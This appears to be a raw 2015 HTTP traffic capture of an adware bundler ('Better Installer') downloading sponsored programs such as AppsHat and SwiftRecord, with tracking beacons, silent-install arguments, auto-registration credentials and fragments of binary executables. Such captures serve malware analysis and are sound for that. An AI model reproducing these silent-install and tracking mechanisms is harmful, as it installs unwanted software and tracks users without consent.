GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAxNF3PJUX7iAOhAP2oGxcI= HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.verisign.com


HTTP/1.1 200 OK
Server: nginx/1.4.7
Content-Type: application/ocsp-response
Content-Length: 1790
content-transfer-encoding: binary
Cache-Control: max-age=383044, public, no-transform, must-revalidate
Last-Modified: Sun, 12 Apr 2015 12:55:22 GMT
Expires: Sun, 19 Apr 2015 12:55:22 GMT
Date: Wed, 15 Apr 2015 02:32:12 GMT
Connection: keep-alive
0..........0..... .....0......0...0......'.V.8.F.V....H....JW..2015041
2125522Z0s0q0I0... ..........!7h....O.d...AG&h.....k.&p..?...-.5......
..M.s.Q~...@?j.......20150412125522Z....20150419125522Z0...*.H........
......BU$.cve..io'...N..O.....X4...6.>...3...._.y....U...>{....~
.9.6.M.I..^..X.K..'.........zM......<........E....4ob/.)*....G\.L;O
..H.../......XG.L9....%*.%.0.yS......q...J4.....M...oU2.x.......e.!...
...E=....O..#.i..!."....L!..L:a....z.T.$.......O...U....7y.F...#0...0.
..0..........r..?.*......y"..0...*.H........0..1.0...U....US1.0...U...
.VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of us
e at hXXps://VVV.verisign.com/rpa (c)09100...U...'VeriSign Class 3 Cod
e Signing 2009-2 CA0...150226000000Z..150527235959Z0..1.0...U....US1.0
...U....VeriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Term
s of use at hXXps://VVV.verisign.com/rpa (c)091<0:..U...3VeriSign C
lass 3 Code Signing 2009-2 OCSP Responder0.."0...*.H.............0....
.........m5*R........2....>...yU4..L.. ...........u..Hez..Pn.....d.
..nz(...V7.}^...d!RX...bl..[..a...L.. .~..Ij......%..%p.-...u..:..i..F
*]...*....{NH..|0...gHX.Q.r....S..........._.9.(w...suC...N..s.....&."
...:.C.Q.i~rl..<..krS..8.B..o][email protected]
...U....0.0....U. ...0..0....`.H...E....0..0(.. .........hXXps://VVV.v
erisign.com/CPS0b.. .......0V0...VeriSign, Inc.0.....=VeriSign's CPS i
ncorp. by reference liab. ltd. (c)97 VeriSign0...U.%..0... .......0...
U........0... .....0......0"..U....0...0.1.0...U....TGV-B-32010...
<<< skipped >>>


GET /monetization.gif?event=3&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000805&country=ua&app=70299&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429064926&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1429064926 HTTP/1.1
Host: logs.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:50 GMT
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1389114507"
Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT
Cache-Control: max-age=86400
Content-Length: 35
Content-Type: image/gif
X-HW: 1429064930.dop009.fr7.t,1429064930.cds021.fr7.c
GIF89a.............,...........D..;HTTP/1.1 200 OK..Date: Wed, 15 Apr 
2015 02:28:50 GMT..Keep-Alive: timeout=5, max=100..Connection: Keep-Al
ive..Accept-Ranges: bytes..ETag: "1389114507"..Last-Modified: Tue, 07 
Jan 2014 17:08:27 GMT..Cache-Control: max-age=86400..Content-Length: 3
5..Content-Type: image/gif..X-HW: 1429064930.dop009.fr7.t,1429064930.c
ds021.fr7.c..GIF89a.............,...........D..;..



GET /1667.ashx?e=hpY1rXLYst6pJ45fVU/vCyxcBYBT1h/GUt9QDuO61D9AXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bQZwLOBou2D zgYfTZkNMXzWjsRol/wIl8 ASAGXXzEpwU29cPqYGXi1JJpRAUOpYSeY/e3xqcYN jxW CFuTh/wC7YZDXfmlGw6kHnR XV4QBZGQjpShx/0JQd5HxgIXfzJOtUCXhvpF40BjlF1LoxV7dDySv7ML7ib 8lcO8XYbxKtVwphCE/yhsDDHNIJ6TYBMbHlkM59hB5aSy JFSFivmz2/8oMyu11gCewcGs9DXU3roAfrH04i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVl9cfTSnosKXf2U5Qzonv0uAIrnsdhGFjIQwSEpGM 08GJvbRuBcVkYw== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:30 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....



GET /online/RegisterAnon.aspx?ProductID=12000&Aff=smtyc0_0_0_0_0,0a07b856-4afb-4d38-b0a2-1b317b4453c9,&BundleID=NONE&BrandID=NONE&PartnerList= HTTP/1.1
User-Agent: CoreWinInet
Host: online.GOOBZO.com
Cache-Control: no-cache
Cookie: ASP.NET_SessionId=yryr1ujhx150s145etznmk55


HTTP/1.1 200 OK
Connection: close
Date: Wed, 15 Apr 2015 02:28:40 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Cache-Control: no-cache, no-store
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 98
<RESULT>.<ANON>.<ID>3b2a9a12-ae50-485f-b698-985ad006
5d83</ID>.<PW>4lh92yoP</PW>.</ANON>.</RESUL
T>...



GET /webplayer/appshat/config.json HTTP/1.1
Accept: */*
If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT
Cache-Control: max-age=0
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.bigspeedpro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:29:34 GMT
Content-Type: application/json
Content-Length: 778
Last-Modified: Mon, 27 Jan 2014 15:16:30 GMT
Connection: close
ETag: "52e6784e-30a"
Accept-Ranges: bytes
{.."group-name": "AppsHat",.."program-name": "AppsHat",.."about-text":
 "Apps Hat\n(c) 2013 Somoto Ltd. All rights reserved\n\nTerms and Cond
itions:\nhXXp://VVV.appshat.com/eula/ahd\n\nPrivacy Policy:\nhXXp://ww
w.appshat.com/privacy/ahd",.."title-icon": "hXXp://VVV.appshat.com/ima
ges/16x16.ico",.."tray-icon": "hXXp://VVV.appshat.com/images/16x16.ico
",.."shortcut-icon": "hXXp://VVV.appshat.com/images/64x64.ico",.."unin
stall": "Apps Hat",.."url": "hXXp://VVV.appshat.com/home",.."width": 1
024,.."height": 795,.."cache": 86400,.."alwaysontop": false,.."program
-version": "2.13",.."start-on-windows": true,.."title": "Apps Hat",.."
tooltip": "Apps Hat",.."minimized": true,.."update-url" : "hXXp://VVV.
bigspeedpro.com/mirror/nerocrossrider/appshatmini/appshatmini_update.e
xe"..}....



GET /23282.ashx?e=bdqY0vC4PYtUzMSzzHoKeU2V6qgY1YhmjA5kVqVgWdAgLxC0aXqYrYyox39H7ctILL61jPtmKrOq7hB6Hp88JFi2s6XsF8NY0jd2Ua9SYWgE8SFHLIEPsNuIAbgWXib3hDb8xDMtOox69ZimTX2csKzbMzc4pOx2GGp9MstS3cDTDTdslR3ozsRaU2At1XqvitNU2H6Wzm52wY9krKeIwcv4S/K6mfkWhIAbznvPq9I Ii2JLQzOb 58V3tAJmnjdPcdIfsjJjqt/nuXGC1lQ7xKtVwphCE/yhsDDHNIJ6TYBMbHlkM59hB5aSy JFSFivmz2/8oMyuHyHmjditethIIQ9x50L9Wv4AmQ uv7HUlShQc1UFowdOaLowHxVqUzoDLB8mzXuNAz141TZvmrVjVHb8nMoW17l wQrR3 lD7cOPv9eDbwnlxfmvLh QeicmnlrBZYQpuJXbJVmvrHvMkT45AWRfK0hkCO8oPau n4ESu u/yuDezsdrKbblqjScV0GsK6DZm5LT87ehXajGtLyeqBAj9t8f6YpiR28Lf7Glpgb86MXoCW2S OZDnmU58ZN CrpHlIUYASPYFbMPwA91/tQmyBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dwoDd7hh3KMfQ== HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:28:38 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Wed, 15 Apr 2015 02:28:38 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=321582-643164
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 321583
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Mon, 13 Apr 2015 12:59:00 GMT
Content-Range: bytes 321582-643164/1286329
X-Cache: Miss from cloudfront
Via: 1.1 8d9a4b7bf28d1cf23a8b620f67d78699.cloudfront.net (CloudFront)
X-Amz-Cf-Id: ulR3dx9jZcn1iOD6UAvGBJZFDkQWfHWQMH4O9fGXRY3ZzU_kEbpvBw==
..`../r"k>F-O../......I......(..vWPN.. ...J......."..j&.b.n........
.........V...O_.Zj...~4..T...}TMZ.....y.s.i.....G..b......[.x....,3...
.Q....%.'.M.m.}........j..E...........m......>.P....y.x".G.2c....}.
'.Q.....eP../..... h....9.8m(....'}"..(.U.N.....6E.._._&J.rv...iS.....
t...^^!......g..X..$.../...|..l...!.E..Q9..#.$.I...Y..<G...........
._.`TKq`....*...E.R...h............H^A.W.2=....%m..9s...p..WS ...n....
6_..U...d...N........*......aqj.......e......f...J.u.4...3...&j.=~..3.
.E..x.a....X..".G.J.aQSF1..4.b..O...L.....a.[..,............8..!M.....
....#v..$..Gv}h../.6o.x.:/.r..5lF....5W.4..s..\q~.D >{.wJ/..DA S...
.MOb....Y'E.0..\Ah.9.....{.:...-)kj[..q.-....n>.IC..2......m-...*f"
JmmVr....".o..n....\O$..V~p*I...x[&..d{......R0.L.>C.Xn....0..]....
$..L..5=k.q.....A.l..I.'..g.....$.....u{.c......).;Ke\H..?.x...8......
{<.p.....=D.........W.....B.R.p.E....U..HM....#..S.3f<r..1|:...N
"P}O..U... .5.JZ..x..>8..m......H....E...N...Y.._.\..x...S..<..*
`=.@[email protected].......)Y.b.@H/..?..n9b......4....x["..i.wH.....c...iP7k.s.r
.........V:;M..=I.d..........K'[email protected].....
...........S....?_..F...#-Of..`:......&.. E..Rg/..{...E..f.....n...O.5
...'zd..*.T.....A..#!"@.>.......AW...$ra....M....... <O.>l[..
.....n...c.g.).*N..A=..[6q..'..2..Zg..h}........'>...^kGT......,i..
..m|y....I..V...D....#.]............s.k...E.x....Z........J?..{m......
....T.).*.4".....cv._....7S[2O.)<.f&D.`...73t...^{.._k'..{.ref...gS
...=(..Q.4.4F...O....J.t...9t.;..!OH$S..B....[....9....mS....'.^..
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=107085-
User-Agent: Better Installer(Mozilla)
Host: d3hm9b8fv0d908.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache



/8O3_.f...P.....F..Pn..N...Y3..j._.;......H...rG.u.-. ....r..VjM.....!
'.Z.(v.i.q..... i.......}4|{1&..~.t0...Ap.L..n......FJ(.To...`%.DD-...
w.q.jny....Y....Y......F....-.fqI..hU..y.5T.m\....b%.h..d0..d#L...3q..
.....8..{dp&....W..s.8..3fDd{.M....r.....,..k.. .t..O.$..1......l_.U..
BT'.i.I...F.B.\...\UE......p.....U....vH.P.........pgk....7.B...tU^S..
.......R.....p.4........8.\`.....=..s.k_y......d....{.....W...9.#..'.6
 V3ll.o.'...|.&T^-< ..q.....(.....t..N....k...1.`>lQ.d.u.1..vE&g
t;}~..R...(.s.........i..F.........9...u.je[_u(x..)..5...l..U.r).&..}z
.........a...9)q..b..).WH{.OPt.....b....8...N;i..........po.....%..R.3
._..9.6......pnh...w.|YfuUs...a_q..D.d...o..T...<.q.....{....|.L.].
..A.I:P.{.[.M..........0.....X.JT..R.g..S...>.&p(o0.$.;......,>.
.n.7.".....$_f..u.O.g.....x..m%..}....C.X|.~.. ..N...o.TZ..*o...P...]6
. )$...r@Dj..@p.!.:'u5Fro..X....]t.n.@B...;.5..x.....\..<....Ey...4
IcW...J.<..ny.O.[[email protected]...).je..D........$..zx",....S.....]}.....
...lx...$$.>k..Q....~...4.4...6.*[email protected]......`.o.S..{....[M..;
.. ..6.e....".....4......y.'|R#8$.......S.?G.>...6........4. .[b...
4].b-........IA.....Vn:`*/C....._d...F..X^.$....&.8.In......;<PUug.
.q.....?....F.J..*t.<.Wu....;......g.r....?...{....A.F.o5...7.:....
.....aG..N.fD.a.i.A-r.<DKD...PBA%.....?-.qL....Q.e..Qg..H.._2P..Ns.
#[email protected]&...l.>]&#...V.z......6..`h..'&O...p;.j...fn...A.&.
.....jb...<[email protected]%.).p..........").N.{#...o}.3..-W.(.sGw
..h..k..y.s..}....6..J..l.....f.....B}r.O..3..w..[y...uq)..Sb.....
<<< skipped >>>


GET /searchprotect/up?ptid=smt&sid=IHProtectPlugin&ln=en_us&ver=4.0.1.2105&uid=267123711_198339_B48A115F&dp=0 HTTP/1.1
Host: VVV.theviilage.com
User-Agent: Mozilla/4.0
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:31:18 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/5.2.14p1
1..0..0..



GET /sd?is=sm HTTP/1.1
Range: bytes=65412-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP002C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Thu, 16 Apr 2015 02:28:17 GMT
Date: Wed, 15 Apr 2015 02:28:17 GMT
Content-Range: bytes 65412-523295/523296
Content-Length: 457884
Connection: keep-alive
......1.6.(f..?...;.........R...;X]....R....W..MD.=N...6..4.......G...
WQs.–...3h..qLR.n.."dd#Q.pM.prVHgf..l... .Nq.7.m....5.!. .T......&..
.....EH_?v...K.....&....p.M./.)t.BQ2.UR,.N......>.e.......E.......J
.]...U."],.[.....|.n...F.........3,1.[..i.J....,o..F.]..(.t,.....0..mK
.dq.Oe... .9....*.o.]]..r.2..4.Q........u..YV....L [email protected]..
E.cS0._......f...(.1..p....E.Gi....U.I ........L.Ic......Fmp..DO..Y.I.
E..."?.....k.......^.7@.#...L..B.(o......=.)S4.....>._9......DH9S..
...... .,AY@.\={....6Ooe_....b..........0.8&T...I...E...a.,.d\...Bz..4
1.P.U.Y..F.]..w.q..fzh G.....0....l.k.I.....Dg...o..m=*.g..!..S...{..3
..wE....A/`x.D.FSk..-K.^.aE......II./.HI/.\.....MS.K.H......,....=....
.ny.a....gO...Y.....uk..s.,...w.....8...9bC.A...._...l[..9..^q2 .C7z..
......j...Vd[m.A.#h.e...o......!R.rF6.(.7L!. 5.....s...(..p...r..pM.|.
rE...o.Q.......!o..q2..3.....F..m.#.5..I,Az..V.^h.......L.%.. ,..2.z..
...S.b......6,..fJw....n...#.c..<.T.{:.`M..a....X_.8].,..>\.....
.,N.....2.....t..S.H.Q{....*cJ{......F0./...n.W*....y.vg._."..'.K6..}.
4...Y,.].....mp......i.....w........ .1..`..`....@..>...I.->W_CP
..(|{......{.....^7../.p?.(z..1..D..d;ui. )$...=.h....tn....4U.pXy.3Q.
y.rRe>...<.<[V.l....a.iC.W..;4.Z&....1:C..v..u.(. ...n..8..I(
$......D.x..J.z...H-m...7b.M/...-=.l..&F.M...c L.s"....i....C%?.JE..0&
gt;=8P...Y9...b.. ..4E.m.e......t..z.....U.$`.....D#.k..N.rC....y..B..
...Z.....0-...<..I...3...7.!..>.T.L.P........b......We.X.....M..
{./.t...}...Q.C.?...k...U.........}.......U................"...QU[
<<< skipped >>>


GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=608d3271d8f3494f867a2b514a49c4e9&uniqid=8625ca1db67bb0868ba6d89d9c34550b&affiliate_id=grooveload&software_id=grooveload&sponsored_id=appshat_madness&tokyo_csrf2_key=f3c22d068a1d17734cfa48e754847d6d&tokyo_csrf2_timestamp=1429064846&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.9986011120462745 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/grooveload/grooveload/608d3271d8f3494f867a2b514a49c4e9?v=2.1&uid=608d3271d8f3494f867a2b514a49c4e9&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:28:01 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 15 Apr 2015 02:28:01 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=7d5ca32b-c72e-44ea-92a3-4dba40a0a6c6&Password=Qss0KrCy&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,0a07b856-4afb-4d38-b0a2-1b317b4453c9,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1429064919&SBPIDS=1&KA=1 HTTP/1.1
User-Agent: CoreWinInet
Host: online.GOOBZO.com
Cache-Control: no-cache
Cookie: ASP.NET_SessionId=yryr1ujhx150s145etznmk55


HTTP/1.1 302 Found
Connection: close
Date: Wed, 15 Apr 2015 02:28:39 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Cache-Control: no-cache, no-store
X-AspNet-Version: 2.0.50727
Location: hXXp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=7d5ca32b-c72e-44ea-92a3-4dba40a0a6c6&Password=Qss0KrCy&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,0a07b856-4afb-4d38-b0a2-1b317b4453c9,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1429064919&SBPIDS=1&KA=1
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 1266
<html><head><title>Object moved</title></he
ad><body>..<h2>Object moved to <a href="hXXp://onlin
e.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&U
serID=7d5ca32b-c72e-44ea-92a3-4dba40a0a6c6&Password=Qss0KrCy&O
S=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,0a07b8
56-4afb-4d38-b0a2-1b317b4453c9,&BundleID=NONE&BrandID=NONE&a
mp;PartnerList=&ElapsedTime=1429064919&SBPIDS=1&KA=1">h
ere</a>.</h2>..</body></html>....<!DOCTYPE 
html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "hXXp://VVV.w3.or
g/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="hXXp://w
ww.w3.org/1999/xhtml" >..<head><title>...Untitled Page.
.</title></head>..<body>..    <form name="form1" 
method="post" action="ka.aspx?CV=2.0.0.0&ProductID=12000&UserI
D=7d5ca32b-c72e-44ea-92a3-4dba40a0a6c6&Password=Qss0KrCy&OS=10
&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,0a07b856-4
afb-4d38-b0a2-1b317b4453c9,&BundleID=NONE&BrandID=NONE&P
artnerList=&ElapsedTime=1429064919&SBPIDS=1&KA=1" id="form
1">..<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" va
lue="/wEPDwUJNzgzNDMwNTMzZGTTAuzAluiepn5Ur3p1G7qqvo u/g==" />..    
<div>..    ..    </div>..    </form>..</body>.
.</html>....
<<< skipped >>>


GET /monetization.gif?event=4&ibic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&campaign=000171&country=ua&app=70121&os=7(64bit)&defbro=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&starttime=1429064926&asw=0_1073750533_-2147475456_2048&browser=ff&rnd=1429064926 HTTP/1.1
Host: logs.dropopenobject.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Date: Wed, 15 Apr 2015 02:29:03 GMT
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Accept-Ranges: bytes
ETag: "1389114507"
Last-Modified: Tue, 07 Jan 2014 17:08:27 GMT
Cache-Control: max-age=86400
Content-Length: 35
Content-Type: image/gif
X-HW: 1429064943.dop012.fr7.t,1429064943.cds021.fr7.c
GIF89a.............,...........D..;..



GET /downloader/grooveload/grooveload/b4cbe9ed5adec14c854e2a5305d64e4a?muid=AD2252CE007468623BD139B0ADEC3423&v1=:v1:&cv=:cv:&v=2.1v=2.1&uid=b4cbe9ed5adec14c854e2a5305d64e4a&muid=AD2252CE007468623BD139B0ADEC3423 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:28:14 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Vary: Accept-Encoding
Content-Encoding: gzip
600a...............z.H.6....B9m......JJ0?/r...S.....z@.. q..xIQ.k.d...
....y.s"...............XN..=...I2.|.........?K.......G.<.%g.t...`1.
o.5...d.].k|)......y.!....w....ZT...C.u.I.V6....0..Jew.....z.;_~..v...
...F.x8K....l<.}. ..t<..w.'..ir.&.....i6OO.....1^.'.x..N..l.m...
...^..:.O...t..mc.[..o{k..:....t....LkK.I..1.....b....5Uzo...*....dz|g
V.L'....{.......V2...L>.....N...|.O...d<....Ev....M..A.|..N1..,.
.x.t1...Ga..u.c&}3..s|...#J.G.).."=e.....5.....u.t.U...'.x...h..3J.=&l
t;t#......"...d...9.].O.)............v...e:M.k..^6....O'.A<...~6Lg.
o.\[email protected]...>f....6....e.....>......}..=..S..E..wd..;..x.1
.<;...p....a..........l.=..%..[.4..&....-.......<;.O.E..g..i2Y..
...p|..*..G..J.e..3...1Xz.x........F..#..M.L..l.: .^.ZN}u.....l>...
..m.6....A{g{.."..C....t............v....i.......s.~..$......._.....&}
._....6A<......a........8U...]..6\9.....<8....d..|.*...W...|....
[...}.:..}[.......}.........?|}.]..........S....r..so(_..;k.g...w..{.g
.ka..fW.W~...W~....*.......~<.}......|...3w..o......~{......s....~.
..[.................o.....0....c...`."*.....[...Q<K.F.?|.....$...A.
_.t.....W.4...2...N0"..i....{.%.......U..n.4...|1._e`...Y..:...h1.;h?.
........^o\..$.[.x.y=h....u....dZg.4..K...0...g{.f........EiC{......Qz
.E=...A..z......=..k{..akC..O_..y}~..Z..[..q.:L..)V........CY..By4H.f.
......jI.........7A..9.o....]>.....-p.x.n.qH.w.e.........9..Mju.C..
..w..^N.h`Uy-....F....&..neQ.u."(.*..n...j..u.(..A.s...U....6j..)...~:
....xc-;.....Kl...T......9...t...k.sq.\I|..<.z....^c..|J..g....
<<< skipped >>>

GET /installer/ajax-bidl?offers[youtubeaccelerator][exec_args]=/S /MAG=smtyc &offers[youtubeaccelerator][offer_indexes][slot_number]=1&offers[youtubeaccelerator][offer_indexes][index_in_screen]=1&offers[youtubeaccelerator][offer_indexes][index_in_session]=1&offers[swiftrecord][exec_args]=/np 1 /is smp1ua &offers[swiftrecord][offer_indexes][slot_number]=2&offers[swiftrecord][offer_indexes][index_in_screen]=1&offers[swiftrecord][offer_indexes][index_in_session]=2&offers[istartsurf][exec_args]=-silence -ptid=smt &offers[istartsurf][offer_indexes][slot_number]=3&offers[istartsurf][offer_indexes][index_in_screen]=1&offers[istartsurf][offer_indexes][index_in_session]=3&offers[appshat_madness][exec_args]=/S /affid=appshatmadness /bi_sponsored_sub_process /run_bi&offers[appshat_madness][offer_indexes][slot_number]=4&offers[appshat_madness][offer_indexes][index_in_screen]=1&offers[appshat_madness][offer_indexes][index_in_session]=4&uid_orig=608d3271d8f3494f867a2b514a49c4e9&uid=b4cbe9ed5adec14c854e2a5305d64e4a&tokyo_csrf_key=87eed94e576f4e7ca30f8128b45f2cf4&tokyo_csrf_timestamp=1429064894&ffInstalled=false&dfz=false&affid=grooveload&sid=grooveload&country=UA&hostBrowser=ff&unique_id=8625ca1db67bb0868ba6d89d9c34550b HTTP/1.1


x-requested-with: XMLHttpRequest
Accept-Language: en-us
Referer: hXXp://bi.bisrv.com/downloader/groov
HTTP/1.1 200 OK
Server: nginx
Date: Wed, 15 Apr 2015 02:28:14 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Vary: Accept-Encoding
Content-Encoding: gzip
537.............Xmo.8.. .?.I..&..........tW..`.6...%.$7....#m%q. 7....
E]I.H.|.P.n.S....]...!.(...3R.(....)..,...$.k.s.jr.[.......Y{.....D..4
.Z..T.q..0-.f...|.^..Ag&..U.h0E..{[email protected].'...9....Sg...x.k)..4.
...t..?-..d....i..K.......*...8...$,..........yp.-...0F...7.....'.7...
..w...\j.D..nKY.)3..]........]...\...9.F.v......ci.6...:..V...........
..7......R._%}..0...(MJ..v..c..)0AzK.sk..[.....!"..B..k....43-........
..?..Zk.VQ......;...... .)IAMV.p......B).....i......7.]95....:.7.4sH `
..'.._..H%........i..hM..9.....0U........._..K....2..}.Q....$Al....T..
....{=......;1.h.. ..H...2Si.Qd!m[.q9.K..)........L.%..%O..H*DI[..c;..
...j.^....E.h...vhE2..u.;.X?.T..yg.......p..,...3......Zm..OU97T..*% ?
.4.F.c.^sePl..a...h..Wnm~Y$...@{..M1..-...3k..0.W.>).{^..d'...d....
..)...ls.6.M...e{..\.[s.......%.*..2.Ls.........i..id.".....&..s$|..!x
.".* .e.,.....[D.lj\"....Z..Hn.....-._..I .Wq....c......W....ca....\.[
p.K.s..98......P....yN.. R.h`*Z8X..,..aa..P!*.f.\.<.u6.:F:....b.V..
a..v.v6.%Q}.R.a.Y.k]F....<...,x....PR..oi.-a.:.^gx.,=..&.x'X....E..
M....N.HmZ.....6wJ....;......$....78....}3..J.fy........a...t|...(..aD
4.v..E6.G.]'.wF..?WJ.Y[.f'.4Zq......9.....u.||...%...... ..<...E...
.Z..*D....h..g..hx.~X....7..O...6.}.u>.z<....?F#..M.....4m.~....
...{...O'Q.&...........bAR, .......i.t...(..l.I..n.......x.'...h<..
..... ..rw......?.......W.BB.....0..
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=457884-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP002C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Thu, 16 Apr 2015 02:28:17 GMT
Date: Wed, 15 Apr 2015 02:28:17 GMT
Content-Range: bytes 457884-523295/523296
Content-Length: 65412
Connection: keep-alive
[email protected].............%...a...A*..P..=>(..;
.....v..@j....|)[email protected]%..=(..$.9.lP..n.4...S......!0.....<...
9.T.5-.:.L.=.E...........W.4r.lk..c...'.P~..............D.-k.q.=co$.0.
...\L..&_&z.].HN....)7..|.[.Q;.Aa<.....0]....K.....g`x..Pw...L!!...
......fR.Dht_H....X...h..n.....~.n.... v,[email protected].
:../..Q.'......AD...^...'.....If.X........u..g.....D.1aW.w....3..J9...
.VQ5.].. A.?...t......>N.V.u.Q.....}..dT<b.*..s.t..W.1(......; .
